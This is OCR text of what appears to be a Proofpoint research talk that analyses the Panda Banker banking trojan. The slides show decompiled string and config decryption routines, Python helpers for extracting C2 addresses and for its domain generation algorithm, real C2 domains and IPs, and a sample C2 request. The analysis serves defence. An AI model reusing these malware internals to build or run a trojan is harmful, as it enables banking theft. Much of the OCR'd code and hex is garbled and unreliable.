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Naming (Malware)

CryptedStrings:: getW(249u, &av query); // Select * from AntiVirusProduct
wmi_results = gquery WMI SecurityCenters(&av query);
if { wmi_results )
1
CryptedStrings:: getW(251u, &Fanda); // Panda
dword 41BC7C = stromp like w{wmi results, &Panda) != @;

json_init_entry s28 string 4 wide(json dict, 39u, wmi results);// antivirus
Mem: :free(Mem);

panda
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Naming (Panel)

°@|’é hittp:///a -

P~a I@Panda!login x| |

- oEEN|
AN

Source: https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market
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Naming (Panel)

http:// ?m=botnet_bots X =

@ (e 6 @_,“theme/menu.html?m=botnet_bots

Panda {NEWVERSION}
Last login: {LASTLOGIN}G

e Statistics

e Reports

® Bots

e Scripts

¢ Socks

e VNC

e Jabber

e Parser
o Templates
o Options

® Api

e Weblnjects

e Uploads

e Templates

e Options

® Debug

e Logout

Total bots: {SMSTAT TOTAL}
Online bots: {SMSTAT ONLINE}
New bots: {SMSTAT NEW}

Source: https://twitter.com/Cryptolnsane/status/957185222608609281
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Zeus Panda

(@ @ GitHub, Inc. (US) | https://github.com/Visgean/Zeus/tree/translation/source/client 0% o @ 1y

Pull requests Issues Marketplace Explore

L] Visgean [ Zeus @ watch~ 127 % Star 797  YFork 555
<> Code Pull requests 0 Insights
Branch: translation ~ =~ Zeus [ source [ client / Create new file = Upload files  Find file = History
- bwall Revert "encoding experiments” .. Latest commit a66838b on Jul 5, 2013
il vnc Revert "encoding experiments" 5 years ago
[E] backconnectbot.cpp Revert "encoding experiments" 5 years ago
[£] backconnectbot.h Revert "encoding experiments" 5 years ago
[E) certstorehook.cpp Revert "encoding experiments" 5 years ago
[5) certstorehook.h Revert "encoding experiments" 5 years ago
[5 clientvexproj Revert "encoding experiments" 5 years ago
[5 clientvexproj.user Revert "encoding experiments" 5 years ago
[£) common.cpp Sources uploaded. 8 years ago
[£) core.cpp Revert "encoding experiments" 5 years ago
E) core.h Revert "encoding experiments" 5 years ago
[E) corecontrol.cpp Experimentaly translated 8 years ago
% mmem o deml b Macimed Damamdiomn s eel e mmball C siimmen mmmem

Source: https://github.com/Visgean/Zeus
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Same Same But Different

Functions window [E3]
Function name ° Segrment Start Length Locals Arguments R (F |L |5 (B [T (B
BackconnectBot_ proc . 0040137E 0000014E 00000202 00000000 R .
ComLibrary__createlnterface text 00408363 00000041 00000003 00000000 R B
ComLibrary__initThread text 00408200 0000003E 00000003 00000000 R
ComLibrary__uninitThread et 0040833E 00000025 00000000 00000000 R .
CoreControl___removefutorun et 0040cE71 0000007E 00000270 00000000 R B
CoreControl__procAutorun et 0040BFBD 0000036E 00000454 00000000 R
CoreControl_procnfection text 0040B3IEE 00000080 00000000 00000000 R
CoreHook__hookerGetFilebttributesEW text 0040C56E 000000B0 00000008 0000000C R
CoreHook__hookerLdrLoadDll text 0040C3EF 0000017C 00000024 00000010 R
Corelnject__injectToAll text 0040C905 00000107 00000024 00000000 R
Corelnject__injectMalwareToProcess et 0040C61E 00000326 00000078 00000008 R
Corelnstall__install et 0040D0BF 000002EE 00000434 00000000 R
Corelnstall__loadInstalledData text 0040D3AA 000000C7 00000248 00000004 R
Corelnstall__loadUpdateData text 00400690 00000118 000001ED 00000000 R B
Corelnstall__uninstall_partl text 0040D7AB 00000077 0000007 C 00000000 R B
Corelnstall__uninstall_part2 text 00400901 0000011E 00000E08 00000000 R B
Corelnstall__update text 00400471 0000021F 000003EC 00000005 R
Corelnstall__generateBasicFile text 0040CCES 00000158 00000434 00000004 R
Corelnstall_saveFile text 0040CF2B 00000041 00000010 00000005 R .
Corelnstall_savePeFile text 0040CFCC 00000088 00000130 00000004 R B
Corelnstall_stopServices et 00400057 0000001F 00000000 00000000 R
Core___GetProcAddress text 00409409 00000061 00000014 00000000 R
Core__entryPoint text 0040B793 000000CD 00000010 00000000 R
Core__getKernel32Handle text 00409CE4 00000070 00000014 00000000 R .
Core__injectEntryForModuleEntry text 0040B260 0000018E 00000024 00000000 R B
Core__copyDataToProcess text 00408C1D 00000087 0000002C 00000008 R
Core__copyHandleToProcess text 00409BES 00000038 00000000 0000000C R
Core__defaulttModuleEntry text 0040BT77D 00000016 00000000 00000000 R .

m L PNt T | S 1 Y S + ok AnAn AT ANnnnnA 4 Aannnnti 4 LT T T T T T =] =] k™
< i o
Line 1 of 433
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First Contact

[ File information

8 |dentification @ Details & Content U Analyses & Submissions @ ITW Ef Behaviour % Comments

@ Prevalence metrics

First submission 2016-01-27 01:58:08
Last submission 2016-01-27 01:58:08

Number of submissions 1

Distinct source submissions 1

@ Download file ' Re-scan file

SHA256: db790cbheObeb2a9c2749ch914fbdec8bdc7aa2ef3c9cabec721e0cOfede715fb2

8 © 2016 Proofpoint, Inc.
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First Contact

PANDA BANKER: NEW BANKING TROJAN HITS THE MARKET

APRIL20,2016 Axel F

Source: https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market

proofpoint.
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All The Samples!
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Release Dates

m 2.1.X = 25X

= January 2016 = August 2017

= 4 minor releases = 8 minor releases
m 2.2.X = 2.6.X

= April 2016 = December 2017

= 14 minor releases = 11 minor releases
m 2.3.X

= March 2017
= 4 minor releases

m 2.4.X
= June 2017
= 4 minor releases

proofpoint.
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2018

2.6.2 (January)
2.6.3 (February)
2.6.4 (February)
2.6.5 (March)
2.6.6 (March)
2.6.7 (April)
2.6.8 (April)
2.6.9 (May)
2.6.10 (June)

prOOpri nt 12 © 2016 Proofpoint, Inc.
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Take Warning

IDA Pro Screenshots Ahead




Version (2.1.0 - 2.5.7)

= “O%U.%UuU.%u” wide

if ( flags & 4 )

!
Core::getPeSettings(&v21, a3);
json_init entry s28 string 4 wide(jscn dict, 43u, &v22);// id
Core::getCurrentBotnetName(&botnet, Tlags);

prOOpri nt © 2016 Proofpoint, Inc.



Version (2.6.0 - present)

= “%U.%u’” ascii

if ( flags & 4 )

1
Core::getPeSettings(NameButfer);
decrypt str(&dword 25E221F8, 2u, 8x32C83A5, 8);// id
json_init entry s2B string 4 wide(&v2G);
Core::getCurrentBotnetlame( ) ;

decrypt str({dword 25E21F24, 6u, ®x38CEBB3C, @8);// botnet

L] 7 =i Nl & i 4 mli=

version str = decrypt str(&unk 25E2251C, Bu, ©@x351DAASE, 1);// Fu.%u.Xu
_sprintfuW(&v23, 18, hersicn_str, 2, 6, 8);

Ll E N LWL L

oy Ly a0, W,
json_init_entry s28 string 4 wide(&v23);
¥
if ( flags & 8 )
1

get win version(&nS5ize);
if ( json_init_entry s28 dict 6() )
1
Str:: sprintfA(&v23, 1El nsize);

proofpoint.
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Version (most Zeus variants)

it ( flags & 2 )
i
version dword = E}:EE*&HEEE; ff version 2.8.8.9
vd = BinStorage:: addItem(binstorage, 4u, @x2713, 8x28088, &versicn dword);

¥

proofpoint.
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Windows APl Function Calls (2.1.0 - 2.5.7)

int  fastcall w wvnsprintfW({ WORD *pszDest, int cchDest, int pszFmt, int arglist)
1

int chrs written; // eax

int (_ stdcall *wvnsprintfW)( WORD *, int, int, int); // eax

if ( cchDest <= @ )
return -1;
cchDest *= 23
B, 2 * cchDest):
resolve func_by hash{&dword 41B7E@, 316, E@x81BEEE11, 232);

wvnsprintfi
CHrs WC1LLEN = WYNSpriniiW|pszDest, cCChDest, Pszrmi, arpglist ),
*(pszDest + cchDest - 2) = 8;
if { chrs_written == -1 )

return strlen like(pszDest);
pszDest[chrs written] = @;
return chrs written;

prOOpri nt © 2016 Proofpoint, Inc.



Windows APl Function Calls (2.1.0 - 2.5.7)

>>> 1mport binascii
>>> print "0x%x" % (blinascii.crc32 ("wvnsprintfW")
& OxXffffffff)

Ox8lbeeell
>>>

proofpoint.
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Windows APl Function Calls (2.1.0 - 2.5.7)

;__-;;-; e s r;mdNextFuleW LeaveCriticalSectionVirtualFreeEX . riosireex @, PathRenameExtensionW
R ecurityDescri a

Rt — InternetCloseHandle RegFlushKey %, mwou,,,ow

GetTickCount GetlLogicalDrives

GetTokenInformatlonmPathF'leEX'StSW g oeemm?cw
GetFlleAttnbutesExW o' ——-ResetEvent Pl \ E

Re SetVaIueExW - et Q ¢ B o
%, Oper?Process & F:::SIose S%ggven Sé:zsgqﬂg\::\/so?%_, é: y
Q%/ _\\0 . —— .\ > R § \’r§-

N \S\Sg;;gv -gCreat FileW=%:2./ /.

(>o

A & e ananrstFnl e §
7S Cz‘:.i';i.'?i:m reateEven t\!\é ueryvalu peExW
RegCreateReyExW(SetLastErroraessus) -

WriteProcessMemo +7 _SetFileAttributesW ™

maseset - Gremeonezonn ) VirtualF ree SHGetFolderPathW ..
»~GetFileAttributesW ReaOnenKevExW
"”’% “viualrotectex R€GClOSEKeyRes ggpemigatgw

reateivuiex g
e\ At orMultiple ObjeCts ewmnmmsms

ReadeoessMe'nory SD@

v NiQuerySysteminformation
e oSoy, VitualAioc CharToOemWV GetversionExW cuvamasecrymon __

proofpoint.
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Encrypted Strings (2.1.0 — 2.2.9)

int _ fastcall CryptedStrings:: getA{unsigned _ intl6 a_index, int str)
1

int index; f/ esi

int i3 // edx

int v5; // ecx

char va; // al

int str_len; // eax

index = a_index;

i =@;
if { g enc_str_len[4 * a index] > 8u )
1
do
1
vh = 13
ve = 1 * g xor_key[8 * index] ® g enc_str[2 * index][i];
++i;
*(v5 + str) = vb;
1
while ( 1 < g enc str len[4 * index] );
1

str_len = g enc_str_len[4 * index];
*(str_len + str) = 8;
return str_len;
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Encrypted Strings (2.2.10 — 2.5.7)

int  fastcall CryptedStrings:: getA(unsigned _ intl6 a_index, int str)
d

int index; /f esi

int i; // ebx

int v5; f/ edx

char va; ff cl

int result; // eax

index = a_index;
i=8;
if { g enc_str len[4 * a index] > @u )
1
do

1

vs = 1;
vE = 1 M ¥(*(Rg enc_str + 2 * index) + 1) MY~g_xor key[8 * index];
++1;

while { 1 < g enc_str_len[4 * index] );

¥

result = g enc_str_len[4 * index];
*(result + str) = @;

return result;

¥
prOOpri nt 22 © 2016 Proofpoint, Inc.




Encrypted Strings (2.6.0 — present)

Core::getPeSettings(NameButferly
decrypt str(&g enc_str_id, Eu, 8);// id
json_init entry s28 string 4 wide(av.o),
Core::getCurrentBotnetName();

decrypt str(g enc_str botnet, 6u, 8);// botnet
json_init entry 528 string 4 wide(&vid);

versicn str = decrypt str(&g enc_str version fmt, 8u,|@x851DAASBY 1);// Hu.Xu.%u

proofpoint.
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Encrypted Strings (2.6.10)
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BaseConfig (generic Zeus)

int  usercall EDPE::getEase[unﬂig@ieax}(int alfii<eax:)
d

int result; // eax

int v2; f/ edx

int v3; S/ esi

int xor key; // ecx

Mem:: copy(al, g enc base config, 812u);

V3 = v2;
xor key = dword 423E78 + dword 4239C4 - result;
do
1
*result *= *{xor _key + result);
++rezultg
-=v33
1

while { v3 );
return result;

prOOpri nt 25 © 2016 Proofpoint, Inc.




BaseConfig (ZeusVM variants)

int  stdcall decrypt s248(int *s5248)
i
void *vm_code; // ebx
5888 enc_base config; // [esp+leh] [ebp-4D4h]
char rc4_key; // [esp+388h] [ebp-15Ch]
s8 s vm; // [esp+498h] [ebp-54h]
int v6; // [esp+498h] [ebp-4Ch]

vim_code = strdup like(g wvm code, @x1888u);
if ( vm_code )
i
vb = @;
gmemcpy(&=nc_base config, g enc_base config, sizeof(enc base config));
*&= vm.p enc_base config = &enc base config;
*&= vm.vm_code = vm_code;
off _281B238 = &enc base config;
while ( {g_yn_fundEiﬂns[**&5_uw.vm_cﬂde]}[&5_uw} y// "wm handler™
w_HeapFree(vm code);
¥
gmemcpy (&-c4 key, &enc base config.rcd key, 258u);
gmemcpy (=248, g enc_s248, 248u);
return rcd4(&cd4 key, 5248, 248u);

}

prOOpri nt 26 © 2016 Proofpoint, Inc.




BaseConfig (Panda Banker)

char _ usercall get base config rcd4 keyji<al>(wvoid *alfi<ecx>, woid *a2fi<eax>

1

512 *out s12; // eax

=12 *vd; S/ edx

char result; // al

s875 base config; // [esp+8h] [ebp-378h]
512 in_s12; /f/ [esp+374h] [ebp-Ch]

in _s12.0p = 1; !/l decrypt
*&in s12.buf = &g enc_base config;

*&in s12.buf _len = 968;

out 512 = crypto ops(&in s12, 1, a2, @);

if ( is_walid_s12(cut_s12) )

1
gmemcpy (&base config, *&v4->buf, sizeof(base config));
free s12(v4);

}

rypt:: rcalnltTi(&base conTig.rcd Key, ‘a&base ConTLig.rCc
result = @;
memset(&base config, @, sizeof(base config));

return result;

ey _len, al);

prOOpri nt © 2016 Proofpoint, Inc.



Decrypting the BaseConfig (2.1.0 — 2.2.9)

= Offset Ox0: SHA256 digest (32 bytes)

= Offset 0x20: AES256 key (32 bytes)

= Offset 0x40: AES256 IV (16 bytes)

= Offset 0x50: AES256 CBC encrypted data

“EEEEEEEE 35 9c bc 41 e6 e3 35 f5 2e ec 5e 4d db 50 ea de |5..A..5..."M.P..|
100000010 6c b2 76 bl 46 d5 b4 da b5 68 be 55 a4 5a 81 ef l.v.F....h.U.Z..

|0peBOB20 16 25 f8 fc 8d 21 99 4a 98 f6 3e 4d cc e® 30 5c  |.%...!.J..>M..0\]
0eo0eBR30 6f P8 3a 75 5f b8 46 da 64 cb6 f2 ef e3 7d 87 46 Jo.:u_.F.d....}.F|
,peeeee4sd fc fd a@ dc 66 c8 e 6d ©a 2e df 77 a@ 7d 16 5a |....f..m...w.}.Z|
peeeeese b8 f7 8e 51 12 93 8b da 28 a4 13 ee 1c 2b 90 f4 |...Q... ..
peeee3be 8b ab 51 79 38 a6 8b el 2e a@ d2 e7 5f 81 @e be |..Qy8....... e

BBeBB3ch
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Decrypting the BaseConfig (2.3.1 — present)

Offset 0x0: SHA256 digest (32 bytes)

Offset 0x20: key offset (1 byte)
= Varies
= 0x20 + key offset

Offset 0xd6: AES256 key (32 bytes)
Offset 0x140: AES256 IV (16 bytes)
Offset 0x150: AES256 CBC encrypted data

A

proofpoint.
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Decrypting the BaseConfig (2.3.1 — present)

|eeeeeeee cc 7e ©3 e9 c7 50 4d 68 9f a7 f3 ff 16 40 13 ea ~ PM™..... @..|
peeeee1e 79 ea 91 9c el be b7 a9 13 aa 94 48 ff 79 ad 20 Veaesuannaa Hoy. |
0PeeeR20 |bb|ad 2f 46 be 11 c3 53 82 3a 9b b8 6B B4 85 7b fF...S. “eal]

|

|
|
_ | . . .
' 0opoPe3® f3 e8 4d c3 eb c4 e? ea cd c9 dl e4 10 82 Ba 77 |..M............ w
000PPPR4D fb 94 25 da 40 ed 50 ca 28 1d 99 68 e® 43 95 2hb |
|
|

'0000e0R50 65 82 ad 96 e5 Bf 3f 3e 7d f5 98 9@ 7f 2d d6 3c

'00000D60 35 ed B1 98 27 6f d3 5b 44 4d f1l ae ©5 fc a@ 91 5 'o.[DM...... |
0eoeee7@ c4 fd 9b f1 6d 68 4d 64 7@ cd 36 63 9c dc 73 bd |..... hMdp.éc..s. |
0ooPBRBR 56 1b 56 56 98 ac 25 4e 57 5c a3 32 80 11 fa b2 |V.VV..%NW\.2....|
‘booeeeve 95 98 96 1la Of ed cb a7 c¢c7 d@ 73 61 ¢cB dc 38 4a |.......... sa..8]|
1000eBBa® d7 52 cf 3c 51 f7 59 7e f7 cf b2 58 93 13 a8 82 R.<QuY~L L X
geeeeebe 62 @a 41 9f 96 99 b3 be ca 42 50 8c 36 fc 3c 3f b.A....n.BP.6.<7?|

|
|
000080c® 97 41 ab b4 3c 19 bf 12 29 f3 48 84 d8 ee bd 80 |.A..<...).H..... |
000000d0 f1 5a 8b 2b f8 51 a2 2d ebé b2 @1 cd a5 87 2e dd [.Z.+.Q.—........ |
|
|
|

popoeoeed 37 80 24 9d B2 39 57 25 36 ba bf 8a c8 a2 5f 92
peeeeefe 38 dc e9 di1 df 8f|85 95 31 b8 2d 4f 87 5b 86 65
000PR100 e9 69 bd 83 f8 3b 6éc 31 54 7e ad fc 71 85 1d 60

eeeeel11e f8 f3 ab d@ cB 9c 75 @d e4 e3 ea 9e 5b d9 24 58 |...... Ueoaas [.$X]
poeLO128 18 29 32 Ba 55 f1 aB 6d 5f B2 c@ da Be bd cd 58 |.)2.U..m_...... Pl
@eeee13e 72 7a dc dd e@ ff 1d 59 4d 75 48 50 27 ab 64 78 |rz..... YMuHP ' .dx |
000RO148 eb 00 9c be af 87 44 ab 2e ab c5 d9 72 5¢c e3 7e  |...... Dicaes r\.~|

@eeee15e 5f 4a 98 12 7d 25 3d 23 46 bf 53 9c d4 8e 85 35 |_J..}%=#F.S....5|

@Peve55@ 8c 6e 93 2f 55 53 7a fe @d a5 a4 4b cd b® 3d d8 |.n./USz....K..=.|
00000560

prOOpri nt 30 © 2016 Proofpoint, Inc.




BaseConfig Botnet

00PBBROe 54 4a bl e8 d9 40 f1 a6 5f 55 ©5 60 80 88 1le 4Ff |TJ...@.._U..... 0|

PPeee2580 6b|be BB 65 B0 77 @0 74 BB 65 88 73 @0 74 00 €0 |qn.e.w.t.e.5.t..h

POeee360 65 2a c2 8d 5a 58 8d 37 62 2d d9 00 00 00 00 8P |ex..ZX.7b-...... |
BBBeB378
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Static Botnets

21022017

03032017

2-level

armata
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Static Botnets
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BaseConfig Key

geeee26e 49 9b 21 97 al @4 81 @1 @2 48 2c¢ 17 b9 72 24 37 |I.!l...... H,..r$7|
geeee2s/e ad 67 11 e9 a% ed |30 82 ©1 21 3@ ed @6 @9 2a 86
Geeee288 | 48 86 T7 @d @1 @1 @1 @5 ©© ©3 82 @1 e @8 3@ 82| |H......ovvuuus @. |
Qeeee29e | 81 8% B2 B2 vl @@ 64 T9 c3 16 cf 89 1lc ed 35 af N « I
QeveeZad | ae BT 16 do 18 ed fl cé6 67 15 le 7b do 47 a7 7@ vesssaaag..1.G.p]
eeeee2be | eb 11 @@ 84 4d eb 8c 9b 14 @4 d3 7T ed 8 @6 d&| |....M.o.uunonnn |
@Peee2ce | 34 dd 9@ 58 78 aa T@ 2a 85 1d 32 5c 5 7 3a 59| |&4..Xx..*..2\..:Y]|
geeee2de @ 4e 2T b5 @@ bb 69 ee 98 6@ 59 4f de e5 81 19 af| |N/...1.. ¥Y0D..... |
Qoveeled | el 22 3c 28 97 25 78 ed d@ 4c 93 22 3f 9 cbH B8 MeluB. L L "7 L X
@eeee2te 48 1b 9c df 44 5@ 74 cc al 28 fc 9@ bd 31 8 36| |H...DPt..(...1.6]
geeea3ee  6b ca 79 @c 24 94 6c ab ¢l 74 B2 5a 35 e3 af 36| |k.y.$.1..t.Z5..6]
@@eee3le | 93 ad 7a 9a fb 58 67 ae b5d d2 8d fe db5 1d cc ed - 4+ P PR
@eeea32e 29 82 al 57 le 9@ 14 c3 eb6& ab 97 Be 69 8d eb 87| |)..W... ... 1...]
@eeee33e | e% 72 61 a8 al 26 23 @a 9f T6 9d 79 4T 47 64 35 .ra..&#....y0Gd5 |
Beeea348 | ad 9d 41 a3 e fc 1@ 31 a9 5b 63 @4 5e 9b ad b9 | |..A....1.[c."...]|
geeea3be | 28 74 13 23 23 1@ 26 9c c¢7 31 55 ce ff dB8 be 12| | t.##.&..1U.....
Qeeee3be | T d3 52 af a3 Bo 14 e@ 65 55 b9 ea df 38 dc 92 «+Rev.el...B..
@eeea3’7e | 92 ba e9 48 61 e4 16 eb6 ab Ve 33 3@ Ye c2 e9 78| |...0a....~30...%]
@eevee38@ | a3 71 8d 14 1d cc 65 1c 96 9b 2Z2b 41 f5 74 cc bf Qe HALT.
@eeea398 | eB e@ 3T 6c T@ @3 82 @3 ©1 @@ e1/|25 @1 ee ee|34 |..7l....... Y

|
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BaseConfig Keys

10000
D 1000
o
o 100
(@}
=
U) i I I I I I I I I I I I I

1 o4 - 0‘ 0. * 0. 0’ * Q. 0’ 0‘ 0. 0. 0. *> 0. 0‘ 0‘ * 0. 0. 0. 0. 0. 0. * 0’ 0. 0' 0’ 0‘ 0.
00.' qvo’ Q{bo «vo 8\.0 (b%o QOQ 00.’ Qo.’ @00 (Lfbo c,oo @00 QN. %«0 (b&” @%0 Qo.)o »@0 %’o @No @(Lo (L»o q00 vvo Q{}o %.0 Qq’ @{bo «»0 6«0 QQQ q@o @@o
O «& Q' @ S AN AR PO @Y 0 B K R Lg% o " K % QY S
S A0 0 O Q7 S 90D oD D O DO PP o P D S R 9 e @ oSS S
SRR UL D o O N0 R0 & N O O @ BV A, o AP o P XAV WD N
SRR OO SR e R R AR S S A P P @7 A" @ ooV P P P ¥ S 0° o
5" N o N o X 58 AT P 12 07 D P A aO O N A R P AP o OV e QS

(& N O oY 7B P AT A & B (P o AP P 0° (P P N o0 5D PP o a2 P 9 o 9°

S P O $O WY NSV AL, P (VO AD P of O P 0 A% D N oo PO YA WD

NS 07 00 o7 B Y S o & o DY AV AC XN AN 0 1 Q087 D5 D O X 02° 008 oD AN NS

%o O (&, P AN PP DAY N L A E AV 0D P AP AN DTN
e N S S S I L S A RN o S I ) SN S
P& o8 & @7 F R0 aF D, DO o OTAD 0 IV g P AV 27 A 0 A0 0 L
B G AC (P P 5 @D A AL W D o7 A DY SV AC (P 07007 00 O AN 2P GV 2 0
P S o> B 9% L A 40 > P O M B\ 2% & V@Y P o2 > SV N A D
RS S WP o &R F O P F P F WP @ 3 LT S P

Botnet Key Hashes (MDD)
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BaseConfig C2s (2.1.0 — 2.5.7)

for 1 in range(len(base config)):
try me = base config[1:1+101]

possible c2 = rc4 (base config key, try me)
1f “http” 1n possible c2:
print possible c2

proofpoint. 3%
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BaseConfig C2s (2.6.x - present)

S = rcd4 ksa(base config key)
1 = S[256]
J = S[257]

# 30, 55, 22
for 1n range(30):
¥ “17, “RB”
1n buf = struct.pack(“I”, 0x0)
for in byte in in buf:
(1, J, S, unused) = rc4 prga(i, J,

S)

© 2016 Proofpoint, Inc.

proofpoint.



BaseConfig C2s

http://denatgruel.com/release.dat (January 2016)
http://us-rboticks.ws/config.dat (March 2016)

https://abrakadabra2017.com/3maufleawvoxawologuev.dat (May 2017)
https://0532ae71ab47.com/4gaxywuubduamfaarmylu.dat (January 2018)
https://ioxicjkdkc.abkhazia.su/lishuwuycywgeacqylyik.dat (June 2018)
https://veintitna.ru/4enmuotrilogeryezpiar.dat (October 2018)
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BaseConfig DGA Endings

0eeBe390 6T c9 7e 83 a5 d? 02 93 061 00 81 25 91 88 00 34 [|ov~uevrvrrnn %o ds|
eeeee3al 37 2e 63 &6f 6d 2f 63 6Ff 6e 66 2e 64 61 74 @@ 39 ||7.com/conf.dat.9|
eeeee3be 38 2e 63 &6f 6d 2f 63 6Ff 6e 66 2e 64 61 74 @00 31 ||8.com/conf.dat.l|
0eeee3cl 38 2e be 65 74 2f 63 6Ff 6e 66 2e 64 61 74 @0 39 ||@.net/conf.dat.9|
eeeee3de 38 2e 6e 65 74 2f 63 6F 6e 66 2e 64 61 74 00 00 ||8. netgcunf dat..|

eeeee3e@ 3f b4 cc 45 df 99 63 c5 8d ef 32 54 60 53 el 7¢c |?..E.. .2T'S. ||
geeee3fe 49 18 cc 9d 5d 27 5e d1 8d af bf 49 fa a5 d3 fa |I...]'"? ...I....|
0eeees4Be 72 c4 T2 41 90 00 OO @ OO OO 00 9O 9O 00 00 BB  |r..A.. . rnns |
beBeeLsle

47.com/conf.dat

98.com/conf.dat
10.net/conf.dat
98.net/conf.dat
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DGA

DNS

Name

wahemughwi.ru [VT] [ET]
oftsutanuld.ru [VT] [ET]

kethowtoftrab.ru [VT] [ET]
rowdinghijust.ru [VT] [ET]

hapbetrobid.ru [VT] [ET]

74365fe2cd47.com|[VT]
[ET]
74365fe2c498.com|[VT]
[ET]

74365fe2cefi 0.net|[VT]
[ET]
74365fe2cePB.net VT
[ET]

proofpoint.

Response

A 192.168.79.244 [VT] [
ET]

A 192.168.79.244 [VT] [
ET]

A 192.168.79.244 [VT] [
ET]

A 192.168.79.244 [VT] |
ET]

A 192.168.79.244 [VT] |
ET]

A 192.168.79.244 [VT] |
ET]

A 192.168.79.244 [VT] |
ET]

A 192.168.79.244 [VT] |
ET)

A 192.168.79.244 [VT] |
ET]

Post-Analysis
Lookup

5.187.4.240 [VT] [ET]
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DGA (2.2.1 — 2.2.9)

Panda Banker’s Future DGA

O0S Dennis Schwarz on October 4, 2016.

Since we last visited the Panda Bankers at the malware zoo, two new
versions have emerged: 2.2.6 and 2.2.7. While sifting through the
encrypted strings of the latest version, two interesting ones stood
out:

¢ dgaconfigs
e DGA, download “%S".

Tracing the first one through the code does indeed lead to a DGA or
a domain generation algorithm. It looks to be a backup mechanism
for when the primary hardcoded C2s have gone down. Searching
older samples reveal that the strings and the DGA have actually been
around since version 2.2.1. This post takes a closer look at the
algorithm using this sample (version 2.2.7) as a reference.

Domain Generation Algorithm

= Source: https://asert.arbornetworks.com/panda-bankers-future-dga/
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DGA (2.2.10 — present)

def dgal(key, dt, dgaconfig):
secs_since_epoch = timegm(dt.timetuplel())
— key® = struct.unpack("I", key[@:4])[0]

- key® “= secs_since_epoch
+ mathl = secs_since_epoch — (86400 * (dt.day % 3))

new_key = struct.pack("I", key®) + keyl[4:]
key® = struct.unpack("Q", key[@:8])[8]
keyl = struct.unpack("Q", key[8:161)[0]

key® = (key® » mathl) & Oxffffffffffffffff
keyl = (keyl *» ~mathl) & Oxffffffffffffffff

+ + 4+ + + + 4+

new_key = struct.pack("Q", key8) + struct.pack("Q", keyl) + key[1é6:]

Source: https://github.com/tildedennis/malware/blob/master/panda_banker/dga.py
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DGA Activity (1 config / ~Oct 2018)

2018-3-12: d6b80c234347.com (146.185.243.116)
2018-4-18: 9eb318bf4a47.com (94.242.59.179)
2018-4-30: f075f7e31147.com (212.116.113.86)
2018-5-3: 9984c05a2447.com (185.244.150.46)
2018-5-15: d5465ea21847.com (46.148.26.106)
2018-5-18: 7f8e3a437647.com (46.148.26.106)
2018-6-1: 934f0d799f47.com (193.124.189.181)
2018-6-3: 6358968c2647.com (212.22.77.112)
2018-6-24: 52507833f147.com (168.235.96.67)

. 2018-7-9: acbc2c8bf347.com (46.148.26.106)

. 2018-7-15: 05319d803447.com (193.124.189.181)

. 2018-7-30: aeOach2d2247.com (212.22.77.112)

. 2018-8-6: 7f05c3baa647.com (212.22.77.112)

. 2018-8-15: 8c28b40a0b47.com (46.148.26.106)

. 2018-8-21: 41b53042c147.com (46.148.26.106)

. 2018-8-27: 02657b649147.com (46.148.26.106)

. 2018-9-9: 77734a166347.com (46.148.26.106)

. 2018-10-18: 3bd083c69647.com (46.148.26.106)

© ©® N o g > w DR

e S = S S S S S S TN
o N o o0~ W N B O

Sample: bac06f2cf2d27¢cc079778738c39eec3c64853880¢c43b60395899357fe8e2a3lc
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Command and Control (Requests)

'POST |/Asz/CKbcy2wDH5P/5/z/Uh/09Tt/MDA|HTTP/1.1

Connection: Close

‘User—Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOWé64; Trident/7.0; SLCC2; .NET CLR 2.0.5072
'7; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.OE)

Host: sincirewdo.ru

Content-Length: 728

'Cache-Control: no-cache

19nUPjeTMvVKnVWecmZrceWdBtMeyr1TmAjkWX1bORFT4JNVmMus6+FWDQYN3ADrRtZuWohmovz7g95ksSKpROKDYYXxY7szHuUPhMrEzw/cw@Xo
1QipemrTWrBcYGISSYkG39r9NFkk1fVQzAubVEBgK2Ui4NPp21Fstv1z9avLWb2+4nuZ1X3NSkB/PwJavhBEanzGTBQaHphVW/1EORp6E+Le
|1Jai80xtGZHSYz1kdInWxzG+af31i4XnvIQutTkB92Xw9aqi@06r5FzA29/zTx4qE41dmi3wbG2+fkY7DFLOA+BVvttERIFYMUckPoPJdaELCT
|kON1pbHO1JRYRAUK7hY/QgkLKF3UKAMDONCA@HBNMYKxDr2LfkdieuH401adglnX+GK7WjHfmPG/k92fV8KoV12mO3Vh4s3LiPrjGL8f380
1z2+FIoPWZkZiQBXtJR65InZkkQPOUKrPx1VZKfdKDDR35JA1IAQIEQ+WQQ+Xx1IWIUKHSAY2WLZZMAPp+RKIN47y0ixIjQB+F8NMQIEtmMgKeM|
|uvH9kbR1OEoef/d7aimjYcOOn/Nr8weezeGs1C70UStSgRYktpd2ey5jcRVyGi8tCTCeZ3x71bgLDzwZB7ieE1IHDINPIYefxFzF6hMMeRN7
lpgnPrépc4kt4JUML/8NTgxj6PLic21zKj8Jr/8BldpTvhYBkRv7ghl87dSYoPoaEoB8ck2zDidP541iHTt/TQ==
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Request URI (2.1.0 - 2.1.3)

= Initial part of the URI is generated = The result is uppercase hex encoded
= “/<2-10 random alphanumeric characters>/" = “/’s are randomly added

* Following system information is gathered into
a buffer “sysinfo”

Computer name

InstallDate (from Registry)

CRC32 of DigitalProductld (from Reqgistry)
CRC32 of OSVERSIONINFOEX structure (from
GetVersionEx Windows API)

= “sysinfo” is SHA256 hashed, but only the first
16-bytes of the hash are used

* The 16-byte hash is XORed with the initial
part of the URI from step 1
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Request URI (2.2.1 — present)

= Initial part of the URI is generated The result is uppercase hex encoded

= “/<2-10 random alphanumeric characters>/"

The result is base64 encoded

(13})

* Following system information is gathered into
a buffer “sysinfo”

Computer name
InstallDate (from Registry)
CRC32 of DigitalProductld (from Registry) /Asz/CKbcy2wDH5P/5/2/Uh/09Tt/MDA
CRC32 of OSVERSIONINFOEX structure (from

GetVersionEx Windows API)

= “sysinfo” is SHA256 hashed, but only the first
16-bytes of the hash are used

* The 16-byte hash is XORed with the initial
part of the URI from step 1

+, /, = are translated into -,

“I’s are randomly added
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POST Data Decryption

= Offset Ox0: placeholder (32 bytes)

= Offset 0x20: RSA encrypted AES key (256 bytes)
= Offset 0x120: AES256 IV (16 bytes)

= Offset 0x130: AES256 CBC encrypted data

= sha256.update(uri + enc_post_data[32:])
= Offset 0x0: placeholder (32 bytes)
